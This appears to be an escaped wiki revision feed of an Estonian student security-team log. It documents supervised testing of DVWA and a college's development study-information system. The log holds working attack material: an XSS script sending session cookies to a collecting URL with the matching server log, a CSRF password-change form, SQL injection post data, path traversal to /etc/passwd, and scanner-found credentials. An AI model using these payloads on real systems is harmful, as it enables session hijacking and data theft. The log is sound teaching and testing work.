&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; has a &amp;quot;&amp;lt;form&amp;gt;&amp;quot; element with auto-complete enabled.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;A comment with the string &amp;quot;&amp;lt;p&amp;amp;gt;tunne end kui koolis&amp;lt;/p&amp;amp;gt;&amp;quot; was found in: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Found a form login. The action of the form is: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  The username field to be used is: &amp;quot;username&amp;quot;.&lt;br /&gt;
  The password field to be used is: &amp;quot;pw&amp;quot;.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;Found authentication credentials to: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;. A correct user and password combination is: Administrador/6666666&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  Antud kasutaja ja parooliga sisse ei saanud.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; returned a response that may contain a &amp;quot;SHA1&amp;quot; hash. The hash is: &amp;quot;c7b39896de5f296b5a44c2dfcd9f0600b2cf424d&amp;quot;. This is uncommon and requires human verification.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; sent these cookies:&amp;lt;/li&amp;gt;&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/&lt;br /&gt;
&amp;lt;li&amp;gt;The SMTP settings in emailReport plugin seem to be incorrect. Original error: &amp;quot;[Errno 111] Connection refused&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Kui tuleb see veateade, siis skänn katkeb.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;SQL injection in a Unknown database was found at: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;, using HTTP method POST.&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The sent post-data was: &amp;quot;username=John8212&amp;amp;security_key_sis_global=d&#039;z&amp;quot;0&amp;amp;Login=Logi%20sisse&amp;amp;continue=56&amp;amp;pw=FrAmE30.&amp;quot;.&lt;br /&gt;
    The modified parameter was &amp;quot;security_key_sis_global&amp;quot;. This vulnerability was found in the request with id 390.&lt;br /&gt;
&amp;lt;li&amp;gt;Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt&amp;lt;/li&amp;gt;&lt;br /&gt;
  User-agent: *&lt;br /&gt;
  Disallow: /&lt;br /&gt;
  Allow: /curriculum&lt;br /&gt;
  Allow: /subject&lt;br /&gt;
  Allow: /diploma&lt;br /&gt;
  Allow: /schedule/ical&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 4. päev - Presentatsiooni tegemine ja esitlemine ==&lt;br /&gt;
&lt;br /&gt;
Koostasime presentatsiooni ja esitlemine.&lt;br /&gt;
&lt;br /&gt;
[[Media:Security_team_presentation.ppt]]&lt;br /&gt;
&lt;br /&gt;
== Arvamused intensiivõppe nädala kohta ==&lt;br /&gt;
&lt;br /&gt;
Sander: Õppisime erinevaid testprogramme ja testkeskkondi kasutama, mida varem kunagi kasutanud polnud. Suutsime avastada nii mõnegi vea, mida varem avastatud ei olnud. Usun, et ÕIS on nüüd kasvõi veidigi turvalisem. Soovitan ka teistele tudengitele intensiivõppenädalal osalemist, kuna valides õige teema võib olla päris huvitav tegeleda millegagi, mida varem teinud pole või mida tegelikult lihtsalt ei ole lubatud teha.&lt;br /&gt;
&lt;br /&gt;
Urmo: Intensiivõppe nädalaga sai õpitud nii mõndagi huvitavat veebiturve ja selle testimise kohta. Kuna aega oli vähe, siis sai hulgaliselt kogemust ja oskust reaalselt planeerida mahukat tööd täiesti nullist kuni reaalse rakendatava tulemuseni ning pani proovile stressitaluvuse tõestamaks pinge all jätkusuutlikku töötamist. Intensiivõppe nädalal võiksid osaleda kõik, kellel väheke tahtmist midagi uurida ja korda saata ning saada reaalset töökogemust ennem töömaailma sukeldumist.&lt;br /&gt;
&lt;br /&gt;
== Tegijad ==&lt;br /&gt;
Alo Konno A21&lt;br /&gt;
&lt;br /&gt;
Urmo Lihten A21&lt;br /&gt;
&lt;br /&gt;
Taavi Podžuks A22&lt;br /&gt;
&lt;br /&gt;
Matis Alliksoo A22&lt;br /&gt;
&lt;br /&gt;
Sander Saarm A22&lt;br /&gt;
&lt;br /&gt;
== Juhendajad ==&lt;br /&gt;
Mart Mangus&lt;br /&gt;
&lt;br /&gt;
Margus Ernits&lt;br /&gt;
&lt;br /&gt;
Valter Kungla&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47066</id>
		<title>Security team</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47066"/>
		<updated>2012-03-30T20:50:59Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: /* Alo tegevus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== 1. päev - Materjalidega tutvumine ==&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project&lt;br /&gt;
&lt;br /&gt;
    A1: Injection - Urmo&lt;br /&gt;
    A2: Cross-Site Scripting (XSS) - Alo&lt;br /&gt;
    A3: Broken Authentication and Session Management - Sander&lt;br /&gt;
    A4: Insecure Direct Object References - Alo&lt;br /&gt;
    A5: Cross-Site Request Forgery (CSRF) - Taavi&lt;br /&gt;
    A6: Security Misconfiguration - Matis&lt;br /&gt;
    A7: Insecure Cryptographic Storage - Matis&lt;br /&gt;
    A8: Failure to Restrict URL Access - Urmo&lt;br /&gt;
    A9: Insufficient Transport Layer Protection - Taavi&lt;br /&gt;
    A10: Unvalidated Redirects and Forwards - Sander&lt;br /&gt;
&lt;br /&gt;
Sanderi konspekt: [[Media:Ois_materjal.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]] &amp;lt;br&amp;gt;&lt;br /&gt;
Taavi esitlus [[Media:A9.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Taavi esitlus [[Media:A5.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Matise esitlus [[Media:Insecure Cryptographic Storage.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Matise esitlus [[Media:Security Misconfiguration.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Alo Esitlus: [[Media:Cross-site_scripting_(XSS).ppt]] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==&lt;br /&gt;
===Security Team tegevusplaan===&lt;br /&gt;
1.	Päev&lt;br /&gt;
 1.1	Tutvuda OWASP’iga. &lt;br /&gt;
 1.2	Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.&lt;br /&gt;
 1.3	Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.&lt;br /&gt;
2.	Päev&lt;br /&gt;
 2.1	Esitada tiimi tegevusplaan.&lt;br /&gt;
 2.2	Tutvuda turvariskidega natuke põhjalikumalt.&lt;br /&gt;
 2.3	Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.&lt;br /&gt;
 2.4	Täiendada esimese päeva ettekannet.&lt;br /&gt;
3.	Päev&lt;br /&gt;
 3.1	Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.&lt;br /&gt;
 3.2	Saadud tulemuste dokumenteerimine.&lt;br /&gt;
4.	Päev&lt;br /&gt;
 4.1	Saadud tulemuste esitlemine ettekandega&lt;br /&gt;
5.	Päev&lt;br /&gt;
 5.1	Tulemuste parandamine wiki’s.&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
&lt;br /&gt;
http://www.acunetix.com/support/vulnerability-checks.htm&lt;br /&gt;
&lt;br /&gt;
http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting&lt;br /&gt;
&lt;br /&gt;
http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting&lt;br /&gt;
&lt;br /&gt;
http://www.youtube.com/watch?v=SG1cvGQ971g&lt;br /&gt;
&lt;br /&gt;
http://www.isecom.org/research.html&lt;br /&gt;
&lt;br /&gt;
http://evuln.com/tools/&lt;br /&gt;
&lt;br /&gt;
http://sectools.org/tag/web-scanners/&lt;br /&gt;
&lt;br /&gt;
http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/&lt;br /&gt;
&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/getting-started.htm&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:&lt;br /&gt;
Acunetix Web Vulnerability Scanner v. 8&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/&lt;br /&gt;
&lt;br /&gt;
Pärast programmi installimist tuli seadistada skännimine, valisime keskmie põhjalikkusega skänni.&lt;br /&gt;
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.&lt;br /&gt;
Antud programm võimaldab skännida:&lt;br /&gt;
Cross-Site Scripting (XSS)&lt;br /&gt;
SQL Injection (blind test)&lt;br /&gt;
File inclusion&lt;br /&gt;
Code Execution&lt;br /&gt;
LDAP Injection&lt;br /&gt;
Cross Frame Scripting&lt;br /&gt;
SQL Injection (error msg. test)&lt;br /&gt;
CRLF Injection&lt;br /&gt;
Directory Travelsal&lt;br /&gt;
XPath Injection&lt;br /&gt;
URL Redirection&lt;br /&gt;
Application Error Message&lt;br /&gt;
&lt;br /&gt;
Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
&lt;br /&gt;
Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.&lt;br /&gt;
&lt;br /&gt;
Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application&#039;i.&lt;br /&gt;
&lt;br /&gt;
==== Brute Force (DVWA) ====&lt;br /&gt;
Käsitsi välja uuritud login andmed:&lt;br /&gt;
kasutajanimi: admin&lt;br /&gt;
parool: password&lt;br /&gt;
&lt;br /&gt;
===== Fireforce plugin Firefoxis =====&lt;br /&gt;
Tekitatud sai ka password list faili pass.txt.&lt;br /&gt;
&lt;br /&gt;
Kasutusel oli Firefox brauser, kuhu installisime plugin&#039;a Fireforce. &lt;br /&gt;
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .&lt;br /&gt;
&lt;br /&gt;
Panime kasutajanimeks &amp;quot;admin&amp;quot; ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.&lt;br /&gt;
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud. &lt;br /&gt;
Selleks sai sõna &amp;quot;incorrect&amp;quot;.&lt;br /&gt;
Määrata ära tuli ka, et mitu päringut sekundis tehakse. &lt;br /&gt;
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada. &lt;br /&gt;
Päringute tegemise kiirus vähem kui 1 päring/sekundis.&lt;br /&gt;
&lt;br /&gt;
Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.&lt;br /&gt;
Kasutasime ka videos näidatud &amp;quot;@ DICTIONARY&amp;quot; teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.&lt;br /&gt;
&lt;br /&gt;
Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.&lt;br /&gt;
&lt;br /&gt;
===== Burpsuite v1.4 =====&lt;br /&gt;
Burpsuite v1.4 on Samurai WTF&#039;il olemas juba sees ja saab kohe käima panna.&lt;br /&gt;
[[File:Bp2naide.jpg|200px|thumb|right|BurpSuite näidis screenshot UI&#039;st]]&lt;br /&gt;
&lt;br /&gt;
Programm on juba loomult keerulisem. &lt;br /&gt;
Burpsuite&#039;iga tuleb panna käima proxy server localhost&#039;is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.&lt;br /&gt;
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine. &lt;br /&gt;
Läbi proxy serveri tuleb BurpSuite&#039;ile kohale vastava veebilehe Header sisselogimise kohta.&lt;br /&gt;
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.&lt;br /&gt;
Payload&#039;i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.&lt;br /&gt;
Ründe stiiliks määrata Pitchfork.&lt;br /&gt;
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.&lt;br /&gt;
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.&lt;br /&gt;
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -&amp;gt; Start Attack, mis siis alustas rünnet. &lt;br /&gt;
Kahjuks ka see rünne ei toiminud teadmata põhjusel. &lt;br /&gt;
Proovitud sai ka lühemate nimekirjadega ja edutult. &lt;br /&gt;
&lt;br /&gt;
Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt. &lt;br /&gt;
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.&lt;br /&gt;
&lt;br /&gt;
==== CSRF - Cross-site request forgery ====&lt;br /&gt;
Katsetamine toimub koos Taaviga.&lt;br /&gt;
&lt;br /&gt;
Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.&lt;br /&gt;
&lt;br /&gt;
Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.&lt;br /&gt;
&lt;br /&gt;
Lõime uue faili - crosssite.txt&lt;br /&gt;
&lt;br /&gt;
DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.&lt;br /&gt;
Võtsime lehe Source Code lahti&lt;br /&gt;
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.&lt;br /&gt;
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.&lt;br /&gt;
Current Password lahtri jätsime samaks.&lt;br /&gt;
Ülejäänud kahe uue passwordi fieldi type&#039;iks määrasime &amp;quot;Hidden&amp;quot; ja value&#039;deks &amp;quot;admin&amp;quot;.&lt;br /&gt;
Salvestasime faili ja käivitasime selle.&lt;br /&gt;
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.&lt;br /&gt;
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna &amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
&lt;br /&gt;
Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
==== Reflected Cross Site Scripting (XSS)  ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Lehel on selline Form:&amp;lt;/li&amp;gt;&lt;br /&gt;
[[Image:Xsstesting.jpg|Location=&amp;quot;left&amp;quot;|Caption|]]&lt;br /&gt;
&amp;lt;br&amp;gt;Form väljastab : Hello „sisestatud nimi“&lt;br /&gt;
&amp;lt;li&amp;gt;Easy puhul:&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Saab sisestada textboxi skripti:&amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    alert(document.cookie.match(/PHPSESSID=[^;\]+/));&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: &amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    this.document.location.href  = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
    &amp;lt;li&amp;gt;Saab kohe enda veebiserveri logidest näha  Session ID’d. &lt;br /&gt;
&amp;lt;br&amp;gt;Näide logist:&amp;lt;/li&amp;gt;&lt;br /&gt;
    /var/log/apache2/access.log&lt;br /&gt;
    127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] &amp;quot;GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1&amp;quot; 404 404 &amp;quot;-&amp;quot;                  &amp;lt;br&amp;gt;  &amp;quot;Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11&amp;quot;&lt;br /&gt;
&amp;lt;li&amp;gt;Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:DVWA_upload.png|150px|thumb|DVWA Upload]]&lt;br /&gt;
&lt;br /&gt;
SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).&lt;br /&gt;
==== Faili üleslaadimine: madal tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Low -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.php faili saab kirjutada php koodi:&lt;br /&gt;
    &amp;lt;?php var_dump($_REQUEST, $_SERVER); ?&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:&amp;lt;/li&amp;gt;&lt;br /&gt;
  esimeses massiivis &amp;quot;PHPSESSID&amp;quot; (&amp;quot;2b1ae19446cfde009664f18df51b6ec1&amp;quot;) ja turvatase &amp;quot;security&amp;quot; (&amp;quot;low&amp;quot;);&lt;br /&gt;
  teises &amp;quot;HTTP_COOKIE&amp;quot;, milles on eelnevadki andmed; asukoht &amp;quot;PATH&amp;quot;, &amp;quot;SERVER_SOFTWARE&amp;quot;, &amp;quot;SERVER_NAME&amp;quot;,&lt;br /&gt;
    &amp;quot;SERVER_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;SERVER_PORT&amp;quot; (&amp;quot;80&amp;quot;), &amp;quot;REMOTE_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;REMOTE_PORT&amp;quot; (&amp;quot;53425&amp;quot;) jpm.&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: keskmine tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Medium -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida ei saa näiteks järgnevates formaatides faile:&amp;lt;/li&amp;gt;&lt;br /&gt;
  .htaccess&lt;br /&gt;
  .php	.html	.pdf&lt;br /&gt;
  .gif	.png	.bmp&lt;br /&gt;
  .svg	.swf&lt;br /&gt;
  .tif	.tiff	.exif&lt;br /&gt;
  .raw	.cgm&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks tuleb kasutada &amp;quot;?page=&amp;quot; ja faili asukoht:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg&lt;br /&gt;
Kuvatakse php skripti tulemus.&lt;br /&gt;
  Kommentaar: &amp;quot;?page=&amp;quot; kasutamine võetud menüüvalikust: &amp;lt;b&amp;gt;File Inclusion&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;?page=&amp;quot; abil saab vaadata kasutajate nimesid:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd&lt;br /&gt;
&amp;lt;li&amp;gt;Paroole vaadata ei saa, selleks õigused puuduvad:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: kõrge tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: High -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks ei piisa ka &amp;quot;?page=&amp;quot; kasutamisest. Igal juhul on vastus selline:&amp;lt;/li&amp;gt;&lt;br /&gt;
  ERROR: File not found!&lt;br /&gt;
&amp;lt;li&amp;gt;Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://www.motobit.com/util/base64-decoder-encoder.asp&lt;br /&gt;
&amp;lt;li&amp;gt;Moodustades loodud faili asukohast kood ja kasutades&amp;lt;/li&amp;gt;&lt;br /&gt;
  data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==&lt;br /&gt;
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 3. päev - Dev-ÕIS&#039;i turvatestimine==&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
[[File:PDFHinneteleht.png|200px|thumb|right|Näide hinnetelehest]]&lt;br /&gt;
Kui testisime failide uploadimis võimalusi tuli idee testida ka failide allalaadimist.&amp;lt;br&amp;gt;&lt;br /&gt;
Faile saab alla laadida enda profiili all õppesooritustes.&amp;lt;br&amp;gt;&lt;br /&gt;
Seal on võimalik alla laadida nii .pdf kui ka .odt formaadis õppesooritusi.&amp;lt;br&amp;gt;&lt;br /&gt;
Allalaadimis Urli muutmisega oli võimalik alla laadida teiste kasutajate õpitulemusi.&amp;lt;br&amp;gt;&lt;br /&gt;
Õpitulemused sisaldasid lisaks tulemustele ka inimese isikukoodi.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui oleks soovinud õpitulemusi alla laadida kindla kasutaja õpitulemusi oleks saanud õpilase id kätte tema profiili pildi id kaudu.&amp;lt;br&amp;gt;&lt;br /&gt;
Kuna see oli tõsine turvaauk ja õpilaste andmed on konfidentsiaalsed täiendati url accessi nii, et enam üks õpilane teise inimese andmetele ligi ei pääseks.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
====Subgraph Vega ====&lt;br /&gt;
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.&lt;br /&gt;
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.&lt;br /&gt;
Programm on Java põhine graafilise liidesega ja töötab Linux&#039;i, OS X ja Windowsi peal.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega1.png|200px|thumb|right|Subgraph Vega screenshot]]&lt;br /&gt;
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.&lt;br /&gt;
&lt;br /&gt;
Alustasime uut skänni (Start New Scan).&lt;br /&gt;
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.&lt;br /&gt;
&lt;br /&gt;
Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised. &lt;br /&gt;
&lt;br /&gt;
Me lisasime ainult küpsise (cookie) sisu: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
ning Finish.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega2.png|200px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]&lt;br /&gt;
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).&lt;br /&gt;
&lt;br /&gt;
Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000. &lt;br /&gt;
&lt;br /&gt;
